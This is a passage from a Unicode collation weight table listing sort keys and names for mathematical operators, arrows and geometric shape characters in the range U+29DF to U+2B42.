[*0BAD.0020.0002] # INFINITY NEGATED WITH VERTICAL BAR -29DF ; [*0BAE.0020.0002] # DOUBLE-ENDED MULTIMAP -29E0 ; [*0BAF.0020.0002] # SQUARE WITH CONTOURED OUTLINE -29E1 ; [*0BB0.0020.0002] # INCREASES AS -29E2 ; [*0BB1.0020.0002] # SHUFFLE PRODUCT -29E3 ; [*0BB2.0020.0002] # EQUALS SIGN AND SLANTED PARALLEL -29E4 ; [*0BB3.0020.0002] # EQUALS SIGN AND SLANTED PARALLEL WITH TILDE ABOVE -29E5 ; [*0BB4.0020.0002] # IDENTICAL TO AND SLANTED PARALLEL -29E6 ; [*0BB5.0020.0002] # GLEICH STARK -29E7 ; [*0BB6.0020.0002] # THERMODYNAMIC -29E8 ; [*0BB7.0020.0002] # DOWN-POINTING TRIANGLE WITH LEFT HALF BLACK -29E9 ; [*0BB8.0020.0002] # DOWN-POINTING TRIANGLE WITH RIGHT HALF BLACK -29EA ; [*0BB9.0020.0002] # BLACK DIAMOND WITH DOWN ARROW -29EB ; [*0BBA.0020.0002] # BLACK LOZENGE -29EC ; [*0BBB.0020.0002] # WHITE CIRCLE WITH DOWN ARROW -29ED ; [*0BBC.0020.0002] # BLACK CIRCLE WITH DOWN ARROW -29EE ; [*0BBD.0020.0002] # ERROR-BARRED WHITE SQUARE -29EF ; [*0BBE.0020.0002] # ERROR-BARRED BLACK SQUARE -29F0 ; [*0BBF.0020.0002] # ERROR-BARRED WHITE DIAMOND -29F1 ; [*0BC0.0020.0002] # ERROR-BARRED BLACK DIAMOND -29F2 ; [*0BC1.0020.0002] # ERROR-BARRED WHITE CIRCLE -29F3 ; [*0BC2.0020.0002] # ERROR-BARRED BLACK CIRCLE -29F4 ; [*0BC3.0020.0002] # RULE-DELAYED -29F5 ; [*0BC4.0020.0002] # REVERSE SOLIDUS OPERATOR -29F6 ; [*0BC5.0020.0002] # SOLIDUS WITH OVERBAR -29F7 ; [*0BC6.0020.0002] # REVERSE SOLIDUS WITH HORIZONTAL STROKE -29F8 ; [*0BC7.0020.0002] # BIG SOLIDUS -29F9 ; [*0BC8.0020.0002] # BIG REVERSE SOLIDUS -29FA ; [*0BC9.0020.0002] # DOUBLE PLUS -29FB ; [*0BCA.0020.0002] # TRIPLE PLUS -29FC ; [*0329.0020.0002] # LEFT-POINTING CURVED ANGLE BRACKET -29FD ; [*032A.0020.0002] # RIGHT-POINTING CURVED ANGLE BRACKET -29FE ; [*0BCB.0020.0002] # TINY -29FF ; [*0BCC.0020.0002] # MINY -2A00 ; [*0BCD.0020.0002] # N-ARY CIRCLED DOT OPERATOR -2A01 ; [*0BCE.0020.0002] # N-ARY CIRCLED PLUS OPERATOR -2A02 ; [*0BCF.0020.0002] # N-ARY CIRCLED TIMES OPERATOR -2A03 ; [*0BD0.0020.0002] # N-ARY UNION OPERATOR WITH DOT -2A04 ; [*0BD1.0020.0002] # N-ARY UNION OPERATOR WITH PLUS -2A05 ; [*0BD2.0020.0002] # N-ARY SQUARE INTERSECTION OPERATOR -2A06 ; [*0BD3.0020.0002] # N-ARY SQUARE UNION OPERATOR -2A07 ; [*0BD4.0020.0002] # TWO LOGICAL AND OPERATOR -2A08 ; [*0BD5.0020.0002] # TWO LOGICAL OR OPERATOR -2A09 ; [*0BD6.0020.0002] # N-ARY TIMES OPERATOR -2A0A ; [*0BD7.0020.0002] # MODULO TWO SUM -2A0B ; [*0BD8.0020.0002] # SUMMATION WITH INTEGRAL -2A0C ; [*063C.0020.0004][*063C.0020.0004][*063C.0020.0004][*063C.0020.0004] # QUADRUPLE INTEGRAL OPERATOR -2A0D ; [*0BD9.0020.0002] # FINITE PART INTEGRAL -2A0E ; [*0BDA.0020.0002] # INTEGRAL WITH DOUBLE STROKE -2A0F ; [*0BDB.0020.0002] # INTEGRAL AVERAGE WITH SLASH -2A10 ; [*0BDC.0020.0002] # CIRCULATION FUNCTION -2A11 ; [*0BDD.0020.0002] # ANTICLOCKWISE INTEGRATION -2A12 ; [*0BDE.0020.0002] # LINE INTEGRATION WITH RECTANGULAR PATH AROUND POLE -2A13 ; [*0BDF.0020.0002] # LINE INTEGRATION WITH SEMICIRCULAR PATH AROUND POLE -2A14 ; [*0BE0.0020.0002] # LINE INTEGRATION NOT INCLUDING THE POLE -2A15 ; [*0BE1.0020.0002] # INTEGRAL AROUND A POINT OPERATOR -2A16 ; [*0BE2.0020.0002] # QUATERNION INTEGRAL OPERATOR -2A17 ; [*0BE3.0020.0002] # INTEGRAL WITH LEFTWARDS ARROW WITH HOOK -2A18 ; [*0BE4.0020.0002] # INTEGRAL WITH TIMES SIGN -2A19 ; [*0BE5.0020.0002] # INTEGRAL WITH INTERSECTION -2A1A ; [*0BE6.0020.0002] # INTEGRAL WITH UNION -2A1B ; [*0BE7.0020.0002] # INTEGRAL WITH OVERBAR -2A1C ; [*0BE8.0020.0002] # INTEGRAL WITH UNDERBAR -2A1D ; [*0BE9.0020.0002] # JOIN -2A1E ; [*0BEA.0020.0002] # LARGE LEFT TRIANGLE OPERATOR -2A1F ; [*0BEB.0020.0002] # Z NOTATION SCHEMA COMPOSITION -2A20 ; [*0BEC.0020.0002] # Z NOTATION SCHEMA PIPING -2A21 ; [*0BED.0020.0002] # Z NOTATION SCHEMA PROJECTION -2A22 ; [*0BEE.0020.0002] # PLUS SIGN WITH SMALL CIRCLE ABOVE -2A23 ; [*0BEF.0020.0002] # PLUS SIGN WITH CIRCUMFLEX ACCENT ABOVE -2A24 ; [*0BF0.0020.0002] # PLUS SIGN WITH TILDE ABOVE -2A25 ; [*0BF1.0020.0002] # PLUS SIGN WITH DOT BELOW -2A26 ; [*0BF2.0020.0002] # PLUS SIGN WITH TILDE BELOW -2A27 ; [*0BF3.0020.0002] # PLUS SIGN WITH SUBSCRIPT TWO -2A28 ; [*0BF4.0020.0002] # PLUS SIGN WITH BLACK TRIANGLE -2A29 ; [*0BF5.0020.0002] # MINUS SIGN WITH COMMA ABOVE -2A2A ; [*0BF6.0020.0002] # MINUS SIGN WITH DOT BELOW -2A2B ; [*0BF7.0020.0002] # MINUS SIGN WITH FALLING DOTS -2A2C ; [*0BF8.0020.0002] # MINUS SIGN WITH RISING DOTS -2A2D ; [*0BF9.0020.0002] # PLUS SIGN IN LEFT HALF CIRCLE -2A2E ; [*0BFA.0020.0002] # PLUS SIGN IN RIGHT HALF CIRCLE -2A2F ; [*0BFB.0020.0002] # VECTOR OR CROSS PRODUCT -2A30 ; [*0BFC.0020.0002] # MULTIPLICATION SIGN WITH DOT ABOVE -2A31 ; [*0BFD.0020.0002] # MULTIPLICATION SIGN WITH UNDERBAR -2A32 ; [*0BFE.0020.0002] # SEMIDIRECT PRODUCT WITH BOTTOM CLOSED -2A33 ; [*0BFF.0020.0002] # SMASH PRODUCT -2A34 ; [*0C00.0020.0002] # MULTIPLICATION SIGN IN LEFT HALF CIRCLE -2A35 ; [*0C01.0020.0002] # MULTIPLICATION SIGN IN RIGHT HALF CIRCLE -2A36 ; [*0C02.0020.0002] # CIRCLED MULTIPLICATION SIGN WITH CIRCUMFLEX ACCENT -2A37 ; [*0C03.0020.0002] # MULTIPLICATION SIGN IN DOUBLE CIRCLE -2A38 ; [*0C04.0020.0002] # CIRCLED DIVISION SIGN -2A39 ; [*0C05.0020.0002] # PLUS SIGN IN TRIANGLE -2A3A ; [*0C06.0020.0002] # MINUS SIGN IN TRIANGLE -2A3B ; [*0C07.0020.0002] # MULTIPLICATION SIGN IN TRIANGLE -2A3C ; [*0C08.0020.0002] # INTERIOR PRODUCT -2A3D ; [*0C09.0020.0002] # RIGHTHAND INTERIOR PRODUCT -2A3E ; [*0C0A.0020.0002] # Z NOTATION RELATIONAL COMPOSITION -2A3F ; [*0C0B.0020.0002] # AMALGAMATION OR COPRODUCT -2A40 ; [*0C0C.0020.0002] # INTERSECTION WITH DOT -2A41 ; [*0C0D.0020.0002] # UNION WITH MINUS SIGN -2A42 ; [*0C0E.0020.0002] # UNION WITH OVERBAR -2A43 ; [*0C0F.0020.0002] # INTERSECTION WITH OVERBAR -2A44 ; [*0C10.0020.0002] # INTERSECTION WITH LOGICAL AND -2A45 ; [*0C11.0020.0002] # UNION WITH LOGICAL OR -2A46 ; [*0C12.0020.0002] # UNION ABOVE INTERSECTION -2A47 ; [*0C13.0020.0002] # INTERSECTION ABOVE UNION -2A48 ; [*0C14.0020.0002] # UNION ABOVE BAR ABOVE INTERSECTION -2A49 ; [*0C15.0020.0002] # INTERSECTION ABOVE BAR ABOVE UNION -2A4A ; [*0C16.0020.0002] # UNION BESIDE AND JOINED WITH UNION -2A4B ; [*0C17.0020.0002] # INTERSECTION BESIDE AND JOINED WITH INTERSECTION -2A4C ; [*0C18.0020.0002] # CLOSED UNION WITH SERIFS -2A4D ; [*0C19.0020.0002] # CLOSED INTERSECTION WITH SERIFS -2A4E ; [*0C1A.0020.0002] # DOUBLE SQUARE INTERSECTION -2A4F ; [*0C1B.0020.0002] # DOUBLE SQUARE UNION -2A50 ; [*0C1C.0020.0002] # CLOSED UNION WITH SERIFS AND SMASH PRODUCT -2A51 ; [*0C1D.0020.0002] # LOGICAL AND WITH DOT ABOVE -2A52 ; [*0C1E.0020.0002] # LOGICAL OR WITH DOT ABOVE -2A53 ; [*0C1F.0020.0002] # DOUBLE LOGICAL AND -2A54 ; [*0C20.0020.0002] # DOUBLE LOGICAL OR -2A55 ; [*0C21.0020.0002] # TWO INTERSECTING LOGICAL AND -2A56 ; [*0C22.0020.0002] # TWO INTERSECTING LOGICAL OR -2A57 ; [*0C23.0020.0002] # SLOPING LARGE OR -2A58 ; [*0C24.0020.0002] # SLOPING LARGE AND -2A59 ; [*0C25.0020.0002] # LOGICAL OR OVERLAPPING LOGICAL AND -2A5A ; [*0C26.0020.0002] # LOGICAL AND WITH MIDDLE STEM -2A5B ; [*0C27.0020.0002] # LOGICAL OR WITH MIDDLE STEM -2A5C ; [*0C28.0020.0002] # LOGICAL AND WITH HORIZONTAL DASH -2A5D ; [*0C29.0020.0002] # LOGICAL OR WITH HORIZONTAL DASH -2A5E ; [*0C2A.0020.0002] # LOGICAL AND WITH DOUBLE OVERBAR -2A5F ; [*0C2B.0020.0002] # LOGICAL AND WITH UNDERBAR -2A60 ; [*0C2C.0020.0002] # LOGICAL AND WITH DOUBLE UNDERBAR -2A61 ; [*0C2D.0020.0002] # SMALL VEE WITH UNDERBAR -2A62 ; [*0C2E.0020.0002] # LOGICAL OR WITH DOUBLE OVERBAR -2A63 ; [*0C2F.0020.0002] # LOGICAL OR WITH DOUBLE UNDERBAR -2A64 ; [*0C30.0020.0002] # Z NOTATION DOMAIN ANTIRESTRICTION -2A65 ; [*0C31.0020.0002] # Z NOTATION RANGE ANTIRESTRICTION -2A66 ; [*0C32.0020.0002] # EQUALS SIGN WITH DOT BELOW -2A67 ; [*0C33.0020.0002] # IDENTICAL WITH DOT ABOVE -2A68 ; [*0C34.0020.0002] # TRIPLE HORIZONTAL BAR WITH DOUBLE VERTICAL STROKE -2A69 ; [*0C35.0020.0002] # TRIPLE HORIZONTAL BAR WITH TRIPLE VERTICAL STROKE -2A6A ; [*0C36.0020.0002] # TILDE OPERATOR WITH DOT ABOVE -2A6B ; [*0C37.0020.0002] # TILDE OPERATOR WITH RISING DOTS -2A6C ; [*0C38.0020.0002] # SIMILAR MINUS SIMILAR -2A6D ; [*0C39.0020.0002] # CONGRUENT WITH DOT ABOVE -2A6E ; [*0C3A.0020.0002] # EQUALS WITH ASTERISK -2A6F ; [*0C3B.0020.0002] # ALMOST EQUAL TO WITH CIRCUMFLEX ACCENT -2A70 ; [*0C3C.0020.0002] # APPROXIMATELY EQUAL OR EQUAL TO -2A71 ; [*0C3D.0020.0002] # EQUALS SIGN ABOVE PLUS SIGN -2A72 ; [*0C3E.0020.0002] # PLUS SIGN ABOVE EQUALS SIGN -2A73 ; [*0C3F.0020.0002] # EQUALS SIGN ABOVE TILDE OPERATOR -2A74 ; [*0239.0020.0004][*0239.0020.0004][*061B.0020.0004] # DOUBLE COLON EQUAL -2A75 ; [*061B.0020.0004][*061B.0020.0004] # TWO CONSECUTIVE EQUALS SIGNS -2A76 ; [*061B.0020.0004][*061B.0020.0004][*061B.0020.0004] # THREE CONSECUTIVE EQUALS SIGNS -2A77 ; [*0C40.0020.0002] # EQUALS SIGN WITH TWO DOTS ABOVE AND TWO DOTS BELOW -2A78 ; [*0C41.0020.0002] # EQUIVALENT WITH FOUR DOTS ABOVE -2A79 ; [*0C42.0020.0002] # LESS-THAN WITH CIRCLE INSIDE -2A7A ; [*0C43.0020.0002] # GREATER-THAN WITH CIRCLE INSIDE -2A7B ; [*0C44.0020.0002] # LESS-THAN WITH QUESTION MARK ABOVE -2A7C ; [*0C45.0020.0002] # GREATER-THAN WITH QUESTION MARK ABOVE -2A7D ; [*0C46.0020.0002] # LESS-THAN OR SLANTED EQUAL TO -2A7E ; [*0C47.0020.0002] # GREATER-THAN OR SLANTED EQUAL TO -2A7F ; [*0C48.0020.0002] # LESS-THAN OR SLANTED EQUAL TO WITH DOT INSIDE -2A80 ; [*0C49.0020.0002] # GREATER-THAN OR SLANTED EQUAL TO WITH DOT INSIDE -2A81 ; [*0C4A.0020.0002] # LESS-THAN OR SLANTED EQUAL TO WITH DOT ABOVE -2A82 ; [*0C4B.0020.0002] # GREATER-THAN OR SLANTED EQUAL TO WITH DOT ABOVE -2A83 ; [*0C4C.0020.0002] # LESS-THAN OR SLANTED EQUAL TO WITH DOT ABOVE RIGHT -2A84 ; [*0C4D.0020.0002] # GREATER-THAN OR SLANTED EQUAL TO WITH DOT ABOVE LEFT -2A85 ; [*0C4E.0020.0002] # LESS-THAN OR APPROXIMATE -2A86 ; [*0C4F.0020.0002] # GREATER-THAN OR APPROXIMATE -2A87 ; [*0C50.0020.0002] # LESS-THAN AND SINGLE-LINE NOT EQUAL TO -2A88 ; [*0C51.0020.0002] # GREATER-THAN AND SINGLE-LINE NOT EQUAL TO -2A89 ; [*0C52.0020.0002] # LESS-THAN AND NOT APPROXIMATE -2A8A ; [*0C53.0020.0002] # GREATER-THAN AND NOT APPROXIMATE -2A8B ; [*0C54.0020.0002] # LESS-THAN ABOVE DOUBLE-LINE EQUAL ABOVE GREATER-THAN -2A8C ; [*0C55.0020.0002] # GREATER-THAN ABOVE DOUBLE-LINE EQUAL ABOVE LESS-THAN -2A8D ; [*0C56.0020.0002] # LESS-THAN ABOVE SIMILAR OR EQUAL -2A8E ; [*0C57.0020.0002] # GREATER-THAN ABOVE SIMILAR OR EQUAL -2A8F ; [*0C58.0020.0002] # LESS-THAN ABOVE SIMILAR ABOVE GREATER-THAN -2A90 ; [*0C59.0020.0002] # GREATER-THAN ABOVE SIMILAR ABOVE LESS-THAN -2A91 ; [*0C5A.0020.0002] # LESS-THAN ABOVE GREATER-THAN ABOVE DOUBLE-LINE EQUAL -2A92 ; [*0C5B.0020.0002] # GREATER-THAN ABOVE LESS-THAN ABOVE DOUBLE-LINE EQUAL -2A93 ; [*0C5C.0020.0002] # LESS-THAN ABOVE SLANTED EQUAL ABOVE GREATER-THAN ABOVE SLANTED EQUAL -2A94 ; [*0C5D.0020.0002] # GREATER-THAN ABOVE SLANTED EQUAL ABOVE LESS-THAN ABOVE SLANTED EQUAL -2A95 ; [*0C5E.0020.0002] # SLANTED EQUAL TO OR LESS-THAN -2A96 ; [*0C5F.0020.0002] # SLANTED EQUAL TO OR GREATER-THAN -2A97 ; [*0C60.0020.0002] # SLANTED EQUAL TO OR LESS-THAN WITH DOT INSIDE -2A98 ; [*0C61.0020.0002] # SLANTED EQUAL TO OR GREATER-THAN WITH DOT INSIDE -2A99 ; [*0C62.0020.0002] # DOUBLE-LINE EQUAL TO OR LESS-THAN -2A9A ; [*0C63.0020.0002] # DOUBLE-LINE EQUAL TO OR GREATER-THAN -2A9B ; [*0C64.0020.0002] # DOUBLE-LINE SLANTED EQUAL TO OR LESS-THAN -2A9C ; [*0C65.0020.0002] # DOUBLE-LINE SLANTED EQUAL TO OR GREATER-THAN -2A9D ; [*0C66.0020.0002] # SIMILAR OR LESS-THAN -2A9E ; [*0C67.0020.0002] # SIMILAR OR GREATER-THAN -2A9F ; [*0C68.0020.0002] # SIMILAR ABOVE LESS-THAN ABOVE EQUALS SIGN -2AA0 ; [*0C69.0020.0002] # SIMILAR ABOVE GREATER-THAN ABOVE EQUALS SIGN -2AA1 ; [*0C6A.0020.0002] # DOUBLE NESTED LESS-THAN -2AA2 ; [*0C6B.0020.0002] # DOUBLE NESTED GREATER-THAN -2AA3 ; [*0C6C.0020.0002] # DOUBLE NESTED LESS-THAN WITH UNDERBAR -2AA4 ; [*0C6D.0020.0002] # GREATER-THAN OVERLAPPING LESS-THAN -2AA5 ; [*0C6E.0020.0002] # GREATER-THAN BESIDE LESS-THAN -2AA6 ; [*0C6F.0020.0002] # LESS-THAN CLOSED BY CURVE -2AA7 ; [*0C70.0020.0002] # GREATER-THAN CLOSED BY CURVE -2AA8 ; [*0C71.0020.0002] # LESS-THAN CLOSED BY CURVE ABOVE SLANTED EQUAL -2AA9 ; [*0C72.0020.0002] # GREATER-THAN CLOSED BY CURVE ABOVE SLANTED EQUAL -2AAA ; [*0C73.0020.0002] # SMALLER THAN -2AAB ; [*0C74.0020.0002] # LARGER THAN -2AAC ; [*0C75.0020.0002] # SMALLER THAN OR EQUAL TO -2AAD ; [*0C76.0020.0002] # LARGER THAN OR EQUAL TO -2AAE ; [*0C77.0020.0002] # EQUALS SIGN WITH BUMPY ABOVE -2AAF ; [*0C78.0020.0002] # PRECEDES ABOVE SINGLE-LINE EQUALS SIGN -2AB0 ; [*0C79.0020.0002] # SUCCEEDS ABOVE SINGLE-LINE EQUALS SIGN -2AB1 ; [*0C7A.0020.0002] # PRECEDES ABOVE SINGLE-LINE NOT EQUAL TO -2AB2 ; [*0C7B.0020.0002] # SUCCEEDS ABOVE SINGLE-LINE NOT EQUAL TO -2AB3 ; [*0C7C.0020.0002] # PRECEDES ABOVE EQUALS SIGN -2AB4 ; [*0C7D.0020.0002] # SUCCEEDS ABOVE EQUALS SIGN -2AB5 ; [*0C7E.0020.0002] # PRECEDES ABOVE NOT EQUAL TO -2AB6 ; [*0C7F.0020.0002] # SUCCEEDS ABOVE NOT EQUAL TO -2AB7 ; [*0C80.0020.0002] # PRECEDES ABOVE ALMOST EQUAL TO -2AB8 ; [*0C81.0020.0002] # SUCCEEDS ABOVE ALMOST EQUAL TO -2AB9 ; [*0C82.0020.0002] # PRECEDES ABOVE NOT ALMOST EQUAL TO -2ABA ; [*0C83.0020.0002] # SUCCEEDS ABOVE NOT ALMOST EQUAL TO -2ABB ; [*0C84.0020.0002] # DOUBLE PRECEDES -2ABC ; [*0C85.0020.0002] # DOUBLE SUCCEEDS -2ABD ; [*0C86.0020.0002] # SUBSET WITH DOT -2ABE ; [*0C87.0020.0002] # SUPERSET WITH DOT -2ABF ; [*0C88.0020.0002] # SUBSET WITH PLUS SIGN BELOW -2AC0 ; [*0C89.0020.0002] # SUPERSET WITH PLUS SIGN BELOW -2AC1 ; [*0C8A.0020.0002] # SUBSET WITH MULTIPLICATION SIGN BELOW -2AC2 ; [*0C8B.0020.0002] # SUPERSET WITH MULTIPLICATION SIGN BELOW -2AC3 ; [*0C8C.0020.0002] # SUBSET OF OR EQUAL TO WITH DOT ABOVE -2AC4 ; [*0C8D.0020.0002] # SUPERSET OF OR EQUAL TO WITH DOT ABOVE -2AC5 ; [*0C8E.0020.0002] # SUBSET OF ABOVE EQUALS SIGN -2AC6 ; [*0C8F.0020.0002] # SUPERSET OF ABOVE EQUALS SIGN -2AC7 ; [*0C90.0020.0002] # SUBSET OF ABOVE TILDE OPERATOR -2AC8 ; [*0C91.0020.0002] # SUPERSET OF ABOVE TILDE OPERATOR -2AC9 ; [*0C92.0020.0002] # SUBSET OF ABOVE ALMOST EQUAL TO -2ACA ; [*0C93.0020.0002] # SUPERSET OF ABOVE ALMOST EQUAL TO -2ACB ; [*0C94.0020.0002] # SUBSET OF ABOVE NOT EQUAL TO -2ACC ; [*0C95.0020.0002] # SUPERSET OF ABOVE NOT EQUAL TO -2ACD ; [*0C96.0020.0002] # SQUARE LEFT OPEN BOX OPERATOR -2ACE ; [*0C97.0020.0002] # SQUARE RIGHT OPEN BOX OPERATOR -2ACF ; [*0C98.0020.0002] # CLOSED SUBSET -2AD0 ; [*0C99.0020.0002] # CLOSED SUPERSET -2AD1 ; [*0C9A.0020.0002] # CLOSED SUBSET OR EQUAL TO -2AD2 ; [*0C9B.0020.0002] # CLOSED SUPERSET OR EQUAL TO -2AD3 ; [*0C9C.0020.0002] # SUBSET ABOVE SUPERSET -2AD4 ; [*0C9D.0020.0002] # SUPERSET ABOVE SUBSET -2AD5 ; [*0C9E.0020.0002] # SUBSET ABOVE SUBSET -2AD6 ; [*0C9F.0020.0002] # SUPERSET ABOVE SUPERSET -2AD7 ; [*0CA0.0020.0002] # SUPERSET BESIDE SUBSET -2AD8 ; [*0CA1.0020.0002] # SUPERSET BESIDE AND JOINED BY DASH WITH SUBSET -2AD9 ; [*0CA2.0020.0002] # ELEMENT OF OPENING DOWNWARDS -2ADA ; [*0CA3.0020.0002] # PITCHFORK WITH TEE TOP -2ADB ; [*0CA4.0020.0002] # TRANSVERSAL INTERSECTION -2ADC ; [*0CA5.0020.0002][.0000.002F.0002] # FORKING -2ADD ; [*0CA5.0020.0002] # NONFORKING -2ADE ; [*0CA6.0020.0002] # SHORT LEFT TACK -2ADF ; [*0CA7.0020.0002] # SHORT DOWN TACK -2AE0 ; [*0CA8.0020.0002] # SHORT UP TACK -2AE1 ; [*0CA9.0020.0002] # PERPENDICULAR WITH S -2AE2 ; [*0CAA.0020.0002] # VERTICAL BAR TRIPLE RIGHT TURNSTILE -2AE3 ; [*0CAB.0020.0002] # DOUBLE VERTICAL BAR LEFT TURNSTILE -2AE4 ; [*0CAC.0020.0002] # VERTICAL BAR DOUBLE LEFT TURNSTILE -2AE5 ; [*0CAD.0020.0002] # DOUBLE VERTICAL BAR DOUBLE LEFT TURNSTILE -2AE6 ; [*0CAE.0020.0002] # LONG DASH FROM LEFT MEMBER OF DOUBLE VERTICAL -2AE7 ; [*0CAF.0020.0002] # SHORT DOWN TACK WITH OVERBAR -2AE8 ; [*0CB0.0020.0002] # SHORT UP TACK WITH UNDERBAR -2AE9 ; [*0CB1.0020.0002] # SHORT UP TACK ABOVE SHORT DOWN TACK -2AEA ; [*0CB2.0020.0002] # DOUBLE DOWN TACK -2AEB ; [*0CB3.0020.0002] # DOUBLE UP TACK -2AEC ; [*0CB4.0020.0002] # DOUBLE STROKE NOT SIGN -2AED ; [*0CB5.0020.0002] # REVERSED DOUBLE STROKE NOT SIGN -2AEE ; [*0CB6.0020.0002] # DOES NOT DIVIDE WITH REVERSED NEGATION SLASH -2AEF ; [*0CB7.0020.0002] # VERTICAL LINE WITH CIRCLE ABOVE -2AF0 ; [*0CB8.0020.0002] # VERTICAL LINE WITH CIRCLE BELOW -2AF1 ; [*0CB9.0020.0002] # DOWN TACK WITH CIRCLE BELOW -2AF2 ; [*0CBA.0020.0002] # PARALLEL WITH HORIZONTAL STROKE -2AF3 ; [*0CBB.0020.0002] # PARALLEL WITH TILDE OPERATOR -2AF4 ; [*0CBC.0020.0002] # TRIPLE VERTICAL BAR BINARY RELATION -2AF5 ; [*0CBD.0020.0002] # TRIPLE VERTICAL BAR WITH HORIZONTAL STROKE -2AF6 ; [*0CBE.0020.0002] # TRIPLE COLON OPERATOR -2AF7 ; [*0CBF.0020.0002] # TRIPLE NESTED LESS-THAN -2AF8 ; [*0CC0.0020.0002] # TRIPLE NESTED GREATER-THAN -2AF9 ; [*0CC1.0020.0002] # DOUBLE-LINE SLANTED LESS-THAN OR EQUAL TO -2AFA ; [*0CC2.0020.0002] # DOUBLE-LINE SLANTED GREATER-THAN OR EQUAL TO -2AFB ; [*0CC3.0020.0002] # TRIPLE SOLIDUS BINARY RELATION -2AFC ; [*0CC4.0020.0002] # LARGE TRIPLE VERTICAL BAR OPERATOR -2AFD ; [*0CC5.0020.0002] # DOUBLE SOLIDUS OPERATOR -2AFE ; [*0CC6.0020.0002] # WHITE VERTICAL BAR -2AFF ; [*0CC7.0020.0002] # N-ARY WHITE VERTICAL BAR -2B00 ; [*0CC8.0020.0002] # NORTH EAST WHITE ARROW -2B01 ; [*0CC9.0020.0002] # NORTH WEST WHITE ARROW -2B02 ; [*0CCA.0020.0002] # SOUTH EAST WHITE ARROW -2B03 ; [*0CCB.0020.0002] # SOUTH WEST WHITE ARROW -2B04 ; [*0CCC.0020.0002] # LEFT RIGHT WHITE ARROW -2B05 ; [*0CCD.0020.0002] # LEFTWARDS BLACK ARROW -2B06 ; [*0CCE.0020.0002] # UPWARDS BLACK ARROW -2B07 ; [*0CCF.0020.0002] # DOWNWARDS BLACK ARROW -2B08 ; [*0CD0.0020.0002] # NORTH EAST BLACK ARROW -2B09 ; [*0CD1.0020.0002] # NORTH WEST BLACK ARROW -2B0A ; [*0CD2.0020.0002] # SOUTH EAST BLACK ARROW -2B0B ; [*0CD3.0020.0002] # SOUTH WEST BLACK ARROW -2B0C ; [*0CD4.0020.0002] # LEFT RIGHT BLACK ARROW -2B0D ; [*0CD5.0020.0002] # UP DOWN BLACK ARROW -2B0E ; [*0CD6.0020.0002] # RIGHTWARDS ARROW WITH TIP DOWNWARDS -2B0F ; [*0CD7.0020.0002] # RIGHTWARDS ARROW WITH TIP UPWARDS -2B10 ; [*0CD8.0020.0002] # LEFTWARDS ARROW WITH TIP DOWNWARDS -2B11 ; [*0CD9.0020.0002] # LEFTWARDS ARROW WITH TIP UPWARDS -2B12 ; [*0CDA.0020.0002] # SQUARE WITH TOP HALF BLACK -2B13 ; [*0CDB.0020.0002] # SQUARE WITH BOTTOM HALF BLACK -2B14 ; [*0CDC.0020.0002] # SQUARE WITH UPPER RIGHT DIAGONAL HALF BLACK -2B15 ; [*0CDD.0020.0002] # SQUARE WITH LOWER LEFT DIAGONAL HALF BLACK -2B16 ; [*0CDE.0020.0002] # DIAMOND WITH LEFT HALF BLACK -2B17 ; [*0CDF.0020.0002] # DIAMOND WITH RIGHT HALF BLACK -2B18 ; [*0CE0.0020.0002] # DIAMOND WITH TOP HALF BLACK -2B19 ; [*0CE1.0020.0002] # DIAMOND WITH BOTTOM HALF BLACK -2B1A ; [*0CE2.0020.0002] # DOTTED SQUARE -2B1B ; [*0CE3.0020.0002] # BLACK LARGE SQUARE -2B1C ; [*0CE4.0020.0002] # WHITE LARGE SQUARE -2B1D ; [*0CE5.0020.0002] # BLACK VERY SMALL SQUARE -2B1E ; [*0CE6.0020.0002] # WHITE VERY SMALL SQUARE -2B1F ; [*0CE7.0020.0002] # BLACK PENTAGON -2B20 ; [*0CE8.0020.0002] # WHITE PENTAGON -2B21 ; [*0CE9.0020.0002] # WHITE HEXAGON -2B22 ; [*0CEA.0020.0002] # BLACK HEXAGON -2B23 ; [*0CEB.0020.0002] # HORIZONTAL BLACK HEXAGON -2B24 ; [*0CEC.0020.0002] # BLACK LARGE CIRCLE -2B25 ; [*0CED.0020.0002] # BLACK MEDIUM DIAMOND -2B26 ; [*0CEE.0020.0002] # WHITE MEDIUM DIAMOND -2B27 ; [*0CEF.0020.0002] # BLACK MEDIUM LOZENGE -2B28 ; [*0CF0.0020.0002] # WHITE MEDIUM LOZENGE -2B29 ; [*0CF1.0020.0002] # BLACK SMALL DIAMOND -2B2A ; [*0CF2.0020.0002] # BLACK SMALL LOZENGE -2B2B ; [*0CF3.0020.0002] # WHITE SMALL LOZENGE -2B2C ; [*0CF4.0020.0002] # BLACK HORIZONTAL ELLIPSE -2B2D ; [*0CF5.0020.0002] # WHITE HORIZONTAL ELLIPSE -2B2E ; [*0CF6.0020.0002] # BLACK VERTICAL ELLIPSE -2B2F ; [*0CF7.0020.0002] # WHITE VERTICAL ELLIPSE -2B30 ; [*0CF8.0020.0002] # LEFT ARROW WITH SMALL CIRCLE -2B31 ; [*0CF9.0020.0002] # THREE LEFTWARDS ARROWS -2B32 ; [*0CFA.0020.0002] # LEFT ARROW WITH CIRCLED PLUS -2B33 ; [*0CFB.0020.0002] # LONG LEFTWARDS SQUIGGLE ARROW -2B34 ; [*0CFC.0020.0002] # LEFTWARDS TWO-HEADED ARROW WITH VERTICAL STROKE -2B35 ; [*0CFD.0020.0002] # LEFTWARDS TWO-HEADED ARROW WITH DOUBLE VERTICAL STROKE -2B36 ; [*0CFE.0020.0002] # LEFTWARDS TWO-HEADED ARROW FROM BAR -2B37 ; [*0CFF.0020.0002] # LEFTWARDS TWO-HEADED TRIPLE DASH ARROW -2B38 ; [*0D00.0020.0002] # LEFTWARDS ARROW WITH DOTTED STEM -2B39 ; [*0D01.0020.0002] # LEFTWARDS ARROW WITH TAIL WITH VERTICAL STROKE -2B3A ; [*0D02.0020.0002] # LEFTWARDS ARROW WITH TAIL WITH DOUBLE VERTICAL STROKE -2B3B ; [*0D03.0020.0002] # LEFTWARDS TWO-HEADED ARROW WITH TAIL -2B3C ; [*0D04.0020.0002] # LEFTWARDS TWO-HEADED ARROW WITH TAIL WITH VERTICAL STROKE -2B3D ; [*0D05.0020.0002] # LEFTWARDS TWO-HEADED ARROW WITH TAIL WITH DOUBLE VERTICAL STROKE -2B3E ; [*0D06.0020.0002] # LEFTWARDS ARROW THROUGH X -2B3F ; [*0D07.0020.0002] # WAVE ARROW POINTING DIRECTLY LEFT -2B40 ; [*0D08.0020.0002] # EQUALS SIGN ABOVE LEFTWARDS ARROW -2B41 ; [*0D09.0020.0002] # REVERSE TILDE OPERATOR ABOVE LEFTWARDS ARROW -2B42 ; [*0D0A.0020.0002] # LEFTWARDS ARROW 